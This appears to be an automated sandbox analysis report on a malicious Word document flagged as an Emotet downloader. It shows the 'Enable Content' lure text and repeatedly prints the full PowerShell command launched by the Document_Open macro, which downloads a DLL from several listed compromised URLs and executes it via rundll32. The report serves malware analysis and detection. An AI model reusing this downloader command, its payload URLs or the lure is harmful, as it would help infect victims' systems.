Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=OneDrive
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/odc/insertmedia
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://learningtools.onenote.com/learningtoolsapi/v2.0/GetFreeformSpeech
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://lifecycle.office.com
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://login.microsoftonline.com/
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://login.windows-ppe.net/common/oauth2/authorize
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://login.windows.local
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://login.windows.net/72f988bf-86f1-41af-91ab-2d7cd011db47/oauth2/authorize
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://login.windows.net/common/oauth2/authorize
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://loki.delve.office.com/api/v1/configuration/officewin32/
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://lookup.onenote.com/lookup/geolocation/v1
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://management.azure.com
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://management.azure.com/
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://messaging.office.com/
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://metadata.templates.cdn.office.net/client/log
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://na01.oscs.protection.outlook.com/api/SafeLinksApi/GetPolicy
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://nam.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://ncus.contentsync.
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://ncus.pagecontentsync.
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://o365auditrealtimeingestion.manage.office.com
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://o365auditrealtimeingestion.manage.office.com/api/userauditrecord
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://o365diagnosticsppe-web.cloudapp.net
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://ocos-office365-s2s.msedge.net/ab
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://ofcrecsvcapi-int.azurewebsites.net/
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://officeapps.live.com
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://officeci.azurewebsites.net/api/
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://officemobile.uservoice.com/forums/929800-office-app-ios-and-ipad-asks
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://officesetup.getmicrosoftkey.com
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://ogma.osi.office.net/TradukoApi/api/v1.0/
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://omex.cdn.office.net/addinclassifier/officeentities
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://omex.cdn.office.net/addinclassifier/officeentitiesupdated
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://omex.cdn.office.net/addinclassifier/officesharedentities
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://omex.cdn.office.net/addinclassifier/officesharedentitiesupdated
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://onedrive.live.com
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://onedrive.live.com/about/download/?windows10SyncClientInstalled=false
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://onedrive.live.com/embed?
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://osi.office.net
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://otelrules.azureedge.net
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://outlook.office.com
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://outlook.office.com/
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://outlook.office.com/autosuggest/api/v1/init?cvid=
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://outlook.office365.com
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://outlook.office365.com/
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://outlook.office365.com/api/v1.0/me/Activities
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://outlook.office365.com/autodiscover/autodiscover.json
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://ovisualuiapp.azurewebsites.net/pbiagave/
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://pages.store.office.com/appshome.aspx?productgroup=Outlook
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://pages.store.office.com/review/query
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://pages.store.office.com/webapplandingpage.aspx
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://partnerservices.getmicrosoftkey.com/PartnerProvisioning.svc/v1/subscriptions
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://pf.directory.live.com/profile/mine/System.ShortCircuitProfile.json
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://pf.directory.live.com/profile/mine/WLX.Profiles.IC.json
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://portal.office.com/account/?ref=ClientMeControl
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://posarprodcssservice.accesscontrol.windows.net/v2/OAuth2-13
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://powerlift-frontdesk.acompli.net
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://powerlift.acompli.net
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://powerpoint.uservoice.com/forums/288952-powerpoint-for-ipad-iphone-ios
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://prod-global-autodetect.acompli.net/autodetect
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://r4.res.office365.com/footprintconfig/v1.7/scripts/fpconfig.json
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://res.getmicrosoftkey.com/api/redemptionevents
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://roaming.edog.
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://rpsticket.partnerservices.getmicrosoftkey.com
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://settings.outlook.com
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://shell.suite.office.com:1443
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://skyapi.live.net/Activity/
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://sr.outlook.office.net/ws/speech/recognize/assistant/work
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://staging.cortana.ai
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://storage.live.com/clientlogs/uploadlocation
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://store.office.cn/addinstemplate
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://store.office.de/addinstemplate
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://substrate.office.com/search/api/v1/SearchHistory
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://substrate.office.com/search/api/v2/init
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://syncservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://tasks.office.com
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://uci.cdn.office.net/mirrored/smartlookup/current/
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://uci.officeapps.live.com/OfficeInsights/web/views/insights.desktop.html
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://uci.officeapps.live.com/OfficeInsights/web/views/insights.immersive.html
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://visio.uservoice.com/forums/368202-visio-on-devices
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://web.microsoftstream.com/video/
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://webdir.online.lync.com/autodiscover/autodiscoverservice.svc/root/
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://webshell.suite.office.com
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://word.uservoice.com/forums/304948-word-for-ipad-iphone-ios
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://wus2.contentsync.
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://wus2.pagecontentsync.
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://www.bingapis.com/api/v7/urlpreview/search?appid=E93048236FE27D972F67C5AF722136866DF65FA2
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://www.odwebp.svc.ms

Source: unknown

DNS traffic detected: queries for: primtalent.com

Source: global traffic	HTTP traffic detected: GET /wp-admin/9yt1u/ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: primtalent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wordpress/6f0qIQlWPaYDfa/ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: huskysb.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cgi-sys/suspendedpage.cgi HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: huskysb.com

E-Banking Fraud:

Yara detected Emotet Downloader

Source: Yara match

File source: C:\Users\user\Documents\20211122\PowerShell_transcript.405464.2vRpjg5W.20211122132242.txt, type: DROPPED

System Summary:

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Source: Screenshot number: 4	Screenshot OCR: ENABLE EDITING" and "ENABLE CONTENT" buttons to preview this document. Page1 of 1 Owords 112 O Typ
Source: Screenshot number: 4	Screenshot OCR: DOCUMENT IS PROTECTED. Previewing is not available for protected documents. You have to press "ENA
Source: Screenshot number: 4	Screenshot OCR: protected documents. You have to press "ENABLE EDITING" and "ENABLE CONTENT" buttons to preview thi
Source: Screenshot number: 4	Screenshot OCR: ENABLE CONTENT" buttons to preview this document. Page1 of 1 Owords 112 O Type here to search m %
Source: Screenshot number: 8	Screenshot OCR: ENABLE EDITING" and "ENABLEOTENT" buttons to pcenew thiS Document O O O Page1 of 1 Owords It? O T
Source: Screenshot number: 8	Screenshot OCR: DOCUMENT IS PROTECTED # M,,,o,m I Shortcut Tools Use these buttons to quickly customize your obje
Source: Screenshot number: 8	Screenshot OCR: protected documents O You have to press "ENABLE EDITING" and "ENABLEOTENT" buttons to pcenew thiS D
Source: Document image extraction number: 0	Screenshot OCR: ENABLE EDITING" and "ENABLE CONTENT" buttons to preview this document.
Source: Document image extraction number: 0	Screenshot OCR: DOCUMENT IS PROTECTED. Previewing is not available for protected documents. You have to press "ENA
Source: Document image extraction number: 0	Screenshot OCR: protected documents. You have to press "ENABLE EDITING" and "ENABLE CONTENT" buttons to preview thi
Source: Document image extraction number: 0	Screenshot OCR: ENABLE CONTENT" buttons to preview this document.

Document contains an embedded VBA with functions possibly related to ADO stream file operations

Source: ~DF0E259767A8C316A9.TMP.0.dr

Stream path 'VBA/cvbku3gakuisdgfilu3gblaw' : found possibly 'ADODB.Stream' functions open, read, write

Document contains an embedded VBA macro which may execute processes

Source: VBA code instrumentation	OLE, VBA macro: Module cvbku3gakuisdgfilu3gblaw, Function fjow3efyw98efhasdokfhlnkvawofh3, API Object.Run("cmd.exe /c start /B powershell $dfkj="$strs=\"http://primtalent.com/wp-admin/9yt1u/,http://huskysb.com/wordpress/6f0qIQlWPaYDfa/,http://ridcyf.com/dm7vg/DGWFrJA0kutWTk/,http://manak.edunetfoundation.org/school-facilitator/qlwM2RAHhDG8N8/,http://ckfoods.net/wp-admin/wPInm2rgMu/,http://adorwelding.zmotpro.com/wp-content/Z8ifMTCM2VBWlfeSZmzv/,http://server.zmotpro.com/venkat/products/facebook-page/assets/kmIdeXnG/\".Split(\",\");foreach($st in $strs){$r1=Get-Random;$r2=Get-Random;$tpth=\"c:\programdata\\\"+$r1+\".dll\";Invoke-WebRequest -Uri $st -OutFile $tpth;if(Test-Path $tpth){$fp=\"c:\windows\syswow64\rundll32.exe\";$a=$tpth+\",f\"+$r2;Start-Process $fp -ArgumentList $a;break;}};";IEX $dfkj",0:Integer)			Name: fjow3efyw98efhasdokfhlnkvawofh3
Source: ~DF0E259767A8C316A9.TMP.0.dr	OLE, VBA macro line: JbxHook_Run_2__ob = jbxthis.Run(jbxparam0, jbxparam1)

Yara signature match

Source: C:\Users\user\AppData\Local\Temp\~DF0E259767A8C316A9.TMP, type: DROPPED

Document has an unknown application name

Source: 704.doc	OLE indicator application name: unknown
Source: ~DF0E259767A8C316A9.TMP.0.dr	OLE indicator application name: unknown
Source: ~WRF{AF20B67A-97C1-4448-B2F6-AF3A3498FB76}.tmp.0.dr	OLE indicator application name: unknown

Document contains an embedded VBA macro which executes code when the document is opened / closed

Source: 704.doc	OLE, VBA macro line: Private Sub Document_Open(): Dim gzjohestiha4otihsdoa8ef As String
Source: VBA code instrumentation	OLE, VBA macro: Module cvbku3gakuisdgfilu3gblaw, Function Document_Open	Name: Document_Open
Source: ~DF0E259767A8C316A9.TMP.0.dr	OLE, VBA macro line: Private Sub Document_Open()

Document misses a certain OLE stream usually present in this Microsoft Office document type

Source: ~DF0E259767A8C316A9.TMP.0.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: ~WRF{AF20B67A-97C1-4448-B2F6-AF3A3498FB76}.tmp.0.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false

Document contains no OLE stream with summary information

Source: 704.doc	OLE indicator has summary info: false
Source: ~DF0E259767A8C316A9.TMP.0.dr	OLE indicator has summary info: false
Source: ~WRF{AF20B67A-97C1-4448-B2F6-AF3A3498FB76}.tmp.0.dr	OLE indicator has summary info: false

Document contains embedded VBA macros

Source: 704.doc	OLE indicator, VBA macros: true
Source: ~DF0E259767A8C316A9.TMP.0.dr	OLE indicator, VBA macros: true

Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: unknown	Process created: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE "C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE" /Automation -Embedding
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c start /B powershell $dfkj="$strs=\"http://primtalent.com/wp-admin/9yt1u/,http://huskysb.com/wordpress/6f0qIQlWPaYDfa/,http://ridcyf.com/dm7vg/DGWFrJA0kutWTk/,http://manak.edunetfoundation.org/school-facilitator/qlwM2RAHhDG8N8/,http://ckfoods.net/wp-admin/wPInm2rgMu/,http://adorwelding.zmotpro.com/wp-content/Z8ifMTCM2VBWlfeSZmzv/,http://server.zmotpro.com/venkat/products/facebook-page/assets/kmIdeXnG/\".Split(\",\");foreach($st in $strs){$r1=Get-Random;$r2=Get-Random;$tpth=\"c:\programdata\\\"+$r1+\".dll\";Invoke-WebRequest -Uri $st -OutFile $tpth;if(Test-Path $tpth){$fp=\"c:\windows\syswow64\rundll32.exe\";$a=$tpth+\",f\"+$r2;Start-Process $fp -ArgumentList $a;break;}};";IEX $dfkj
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell $dfkj="$strs=\"http://primtalent.com/wp-admin/9yt1u/,http://huskysb.com/wordpress/6f0qIQlWPaYDfa/,http://ridcyf.com/dm7vg/DGWFrJA0kutWTk/,http://manak.edunetfoundation.org/school-facilitator/qlwM2RAHhDG8N8/,http://ckfoods.net/wp-admin/wPInm2rgMu/,http://adorwelding.zmotpro.com/wp-content/Z8ifMTCM2VBWlfeSZmzv/,http://server.zmotpro.com/venkat/products/facebook-page/assets/kmIdeXnG/\".Split(\",\");foreach($st in $strs){$r1=Get-Random;$r2=Get-Random;$tpth=\"c:\programdata\\\"+$r1+\".dll\";Invoke-WebRequest -Uri $st -OutFile $tpth;if(Test-Path $tpth){$fp=\"c:\windows\syswow64\rundll32.exe\";$a=$tpth+\",f\"+$r2;Start-Process $fp -ArgumentList $a;break;}};";IEX $dfkj
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\rundll32.exe "C:\windows\syswow64\rundll32.exe" c:\programdata\646848703.dll,f1349786762
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c start /B powershell $dfkj="$strs=\"http://primtalent.com/wp-admin/9yt1u/,http://huskysb.com/wordpress/6f0qIQlWPaYDfa/,http://ridcyf.com/dm7vg/DGWFrJA0kutWTk/,http://manak.edunetfoundation.org/school-facilitator/qlwM2RAHhDG8N8/,http://ckfoods.net/wp-admin/wPInm2rgMu/,http://adorwelding.zmotpro.com/wp-content/Z8ifMTCM2VBWlfeSZmzv/,http://server.zmotpro.com/venkat/products/facebook-page/assets/kmIdeXnG/\".Split(\",\");foreach($st in $strs){$r1=Get-Random;$r2=Get-Random;$tpth=\"c:\programdata\\\"+$r1+\".dll\";Invoke-WebRequest -Uri $st -OutFile $tpth;if(Test-Path $tpth){$fp=\"c:\windows\syswow64\rundll32.exe\";$a=$tpth+\",f\"+$r2;Start-Process $fp -ArgumentList $a;break;}};";IEX $dfkj	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell $dfkj="$strs=\"http://primtalent.com/wp-admin/9yt1u/,http://huskysb.com/wordpress/6f0qIQlWPaYDfa/,http://ridcyf.com/dm7vg/DGWFrJA0kutWTk/,http://manak.edunetfoundation.org/school-facilitator/qlwM2RAHhDG8N8/,http://ckfoods.net/wp-admin/wPInm2rgMu/,http://adorwelding.zmotpro.com/wp-content/Z8ifMTCM2VBWlfeSZmzv/,http://server.zmotpro.com/venkat/products/facebook-page/assets/kmIdeXnG/\".Split(\",\");foreach($st in $strs){$r1=Get-Random;$r2=Get-Random;$tpth=\"c:\programdata\\\"+$r1+\".dll\";Invoke-WebRequest -Uri $st -OutFile $tpth;if(Test-Path $tpth){$fp=\"c:\windows\syswow64\rundll32.exe\";$a=$tpth+\",f\"+$r2;Start-Process $fp -ArgumentList $a;break;}};";IEX $dfkj	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\rundll32.exe "C:\windows\syswow64\rundll32.exe" c:\programdata\646848703.dll,f1349786762	Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Word

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE

File created: C:\Users\user\AppData\Local\Temp\{0BD9A190-463A-4553-980B-C9C874C86222} - OProcSessId.dat

Jump to behavior

Source: classification engine

Classification label: mal100.troj.expl.evad.winDOC@8/18@2/2

Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Windows\SysWOW64\rundll32.exe "C:\windows\syswow64\rundll32.exe" c:\programdata\646848703.dll,f1349786762

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6220:120:WilError_01

Source: 704.doc	OLE document summary: title field not present or empty
Source: ~DF0E259767A8C316A9.TMP.0.dr	OLE document summary: title field not present or empty
Source: ~DF0E259767A8C316A9.TMP.0.dr	OLE document summary: author field not present or empty
Source: ~DF0E259767A8C316A9.TMP.0.dr	OLE document summary: edited time not present or 0
Source: ~WRF{AF20B67A-97C1-4448-B2F6-AF3A3498FB76}.tmp.0.dr	OLE document summary: title field not present or empty
Source: ~WRF{AF20B67A-97C1-4448-B2F6-AF3A3498FB76}.tmp.0.dr	OLE document summary: author field not present or empty
Source: ~WRF{AF20B67A-97C1-4448-B2F6-AF3A3498FB76}.tmp.0.dr	OLE document summary: edited time not present or 0

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE

File opened: C:\Windows\SysWOW64\MSVCR100.dll

Jump to behavior

Source: ~WRF{AF20B67A-97C1-4448-B2F6-AF3A3498FB76}.tmp.0.dr

Initial sample: OLE indicators vbamacros = False

Data Obfuscation:

Document contains an embedded VBA with many string operations indicating source code obfuscation

Source: ~DF0E259767A8C316A9.TMP.0.dr

Stream path 'VBA/cvbku3gakuisdgfilu3gblaw' : High number of string operations

Suspicious powershell command line found

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell $dfkj="$strs=\"http://primtalent.com/wp-admin/9yt1u/,http://huskysb.com/wordpress/6f0qIQlWPaYDfa/,http://ridcyf.com/dm7vg/DGWFrJA0kutWTk/,http://manak.edunetfoundation.org/school-facilitator/qlwM2RAHhDG8N8/,http://ckfoods.net/wp-admin/wPInm2rgMu/,http://adorwelding.zmotpro.com/wp-content/Z8ifMTCM2VBWlfeSZmzv/,http://server.zmotpro.com/venkat/products/facebook-page/assets/kmIdeXnG/\".Split(\",\");foreach($st in $strs){$r1=Get-Random;$r2=Get-Random;$tpth=\"c:\programdata\\\"+$r1+\".dll\";Invoke-WebRequest -Uri $st -OutFile $tpth;if(Test-Path $tpth){$fp=\"c:\windows\syswow64\rundll32.exe\";$a=$tpth+\",f\"+$r2;Start-Process $fp -ArgumentList $a;break;}};";IEX $dfkj
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell $dfkj="$strs=\"http://primtalent.com/wp-admin/9yt1u/,http://huskysb.com/wordpress/6f0qIQlWPaYDfa/,http://ridcyf.com/dm7vg/DGWFrJA0kutWTk/,http://manak.edunetfoundation.org/school-facilitator/qlwM2RAHhDG8N8/,http://ckfoods.net/wp-admin/wPInm2rgMu/,http://adorwelding.zmotpro.com/wp-content/Z8ifMTCM2VBWlfeSZmzv/,http://server.zmotpro.com/venkat/products/facebook-page/assets/kmIdeXnG/\".Split(\",\");foreach($st in $strs){$r1=Get-Random;$r2=Get-Random;$tpth=\"c:\programdata\\\"+$r1+\".dll\";Invoke-WebRequest -Uri $st -OutFile $tpth;if(Test-Path $tpth){$fp=\"c:\windows\syswow64\rundll32.exe\";$a=$tpth+\",f\"+$r2;Start-Process $fp -ArgumentList $a;break;}};";IEX $dfkj			Jump to behavior

Obfuscated command line found

Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c start /B powershell $dfkj="$strs=\"http://primtalent.com/wp-admin/9yt1u/,http://huskysb.com/wordpress/6f0qIQlWPaYDfa/,http://ridcyf.com/dm7vg/DGWFrJA0kutWTk/,http://manak.edunetfoundation.org/school-facilitator/qlwM2RAHhDG8N8/,http://ckfoods.net/wp-admin/wPInm2rgMu/,http://adorwelding.zmotpro.com/wp-content/Z8ifMTCM2VBWlfeSZmzv/,http://server.zmotpro.com/venkat/products/facebook-page/assets/kmIdeXnG/\".Split(\",\");foreach($st in $strs){$r1=Get-Random;$r2=Get-Random;$tpth=\"c:\programdata\\\"+$r1+\".dll\";Invoke-WebRequest -Uri $st -OutFile $tpth;if(Test-Path $tpth){$fp=\"c:\windows\syswow64\rundll32.exe\";$a=$tpth+\",f\"+$r2;Start-Process $fp -ArgumentList $a;break;}};";IEX $dfkj
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell $dfkj="$strs=\"http://primtalent.com/wp-admin/9yt1u/,http://huskysb.com/wordpress/6f0qIQlWPaYDfa/,http://ridcyf.com/dm7vg/DGWFrJA0kutWTk/,http://manak.edunetfoundation.org/school-facilitator/qlwM2RAHhDG8N8/,http://ckfoods.net/wp-admin/wPInm2rgMu/,http://adorwelding.zmotpro.com/wp-content/Z8ifMTCM2VBWlfeSZmzv/,http://server.zmotpro.com/venkat/products/facebook-page/assets/kmIdeXnG/\".Split(\",\");foreach($st in $strs){$r1=Get-Random;$r2=Get-Random;$tpth=\"c:\programdata\\\"+$r1+\".dll\";Invoke-WebRequest -Uri $st -OutFile $tpth;if(Test-Path $tpth){$fp=\"c:\windows\syswow64\rundll32.exe\";$a=$tpth+\",f\"+$r2;Start-Process $fp -ArgumentList $a;break;}};";IEX $dfkj
